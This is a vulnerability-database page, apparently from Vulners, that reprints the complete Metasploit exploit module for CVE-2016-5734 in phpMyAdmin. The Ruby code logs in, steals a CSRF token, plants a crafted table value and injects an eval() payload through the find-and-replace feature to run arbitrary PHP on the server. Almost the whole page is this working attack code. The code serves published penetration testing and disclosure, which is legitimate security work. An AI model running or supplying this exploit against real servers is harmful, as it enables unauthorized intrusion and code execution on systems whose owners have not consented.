Lucene search
+L

phpMyAdmin Authenticated Remote Code Execution

🗓️ 23 Jun 2016 00:00:00Reported by Michal Čihař and Cure53, Matteo Cantoni <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 378 Views

Vulnerability in phpMyAdmin allows remote code execution via crafted strin

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
        'Description' => %q{
          phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
          4.6.3 does not properly choose delimiters to prevent use of the preg_replace
          (aka eval) modifier, which might allow remote attackers to execute arbitrary
          PHP code via a crafted string, as demonstrated by the table search-and-replace
          implementation.
        },
        'Author' => [
          'Michal Čihař and Cure53', # Discovery
          'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'BID', '91387' ],
          [ 'CVE', '2016-5734' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
          [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
          [ 'EDB', '40185' ],
        ],
        'Privileged' => true,
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'BadChars' => "&\n=+%",
        },
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-06-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
        OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    if res.nil? || res.code != 200
      print_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    # PHP 4.3.0-5.4.6
    # PHP > 5.4.6 not exploitable because null byte in regexp warning
    php_version = res['X-Powered-By']
    if php_version
      vprint_status("#{peer} - PHP version: #{php_version}")

      if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
        version = Rex::Version.new($1)
        vprint_status("#{peer} - PHP version: #{version.to_s}")
        if version > Rex::Version.new('5.4.6')
          return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
        end
      end
    else
      vprint_status("#{peer} - Unknown PHP version")
    end

    # 4.3.0 - 4.6.2 authorized user RCE exploit
    if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
      version = Rex::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")

      if version >= Rex::Version.new('4.3.0') and version <= Rex::Version.new('4.6.2')
        return Exploit::CheckCode::Appears('The target is running a vulnerable version')
      elsif version < Rex::Version.new('4.3.0')
        return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end

      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end

    return Exploit::CheckCode::Unknown('Could not authenticate to the target')
  end

  def exploit
    return unless check == Exploit::CheckCode::Appears

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({ 'uri' => uri })

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end

    token = $1
    vprint_status("#{peer} - Retrieved token #{token}")

    vprint_status("#{peer} - Authenticating...")
    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login.redirect?
      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
    else
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
    end

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body =~ /Welcome to/
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end

    vprint_status("#{peer} - Authentication successful")

    # Create random table and column
    rand_table = Rex::Text.rand_text_alpha_lower(3 + rand(3))
    rand_column = Rex::Text.rand_text_alpha_lower(3 + rand(3))
    sql_value = '0%2Fe%00'

    vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");

    create_rand_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
                    "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
                    "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
      }
    })

    if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
      fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
    end

    vprint_status("#{peer} - Random table created")

    # Execute command
    command = Rex::Text.uri_encode(payload.encoded)

    exec_cmd = send_request_cgi({
      'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'columnIndex' => '0',
        'token' => token,
        'submit' => 'Go',
        'ajax_request' => 'true',
        'goto' => 'sql.php',
        'table' => rand_table,
        'replaceWith' => "eval%28%22#{command}%22%29%3B",
        'db' => datastore['DATABASE'],
        'find' => sql_value,
        'useRegex' => 'on'
      }
    })

    # Remove random table
    vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")

    rm_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "DROP+TABLE+`#{rand_table}`"
      }
    })

    if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
      print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jun 2016 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 39.8
EPSS0.81373
378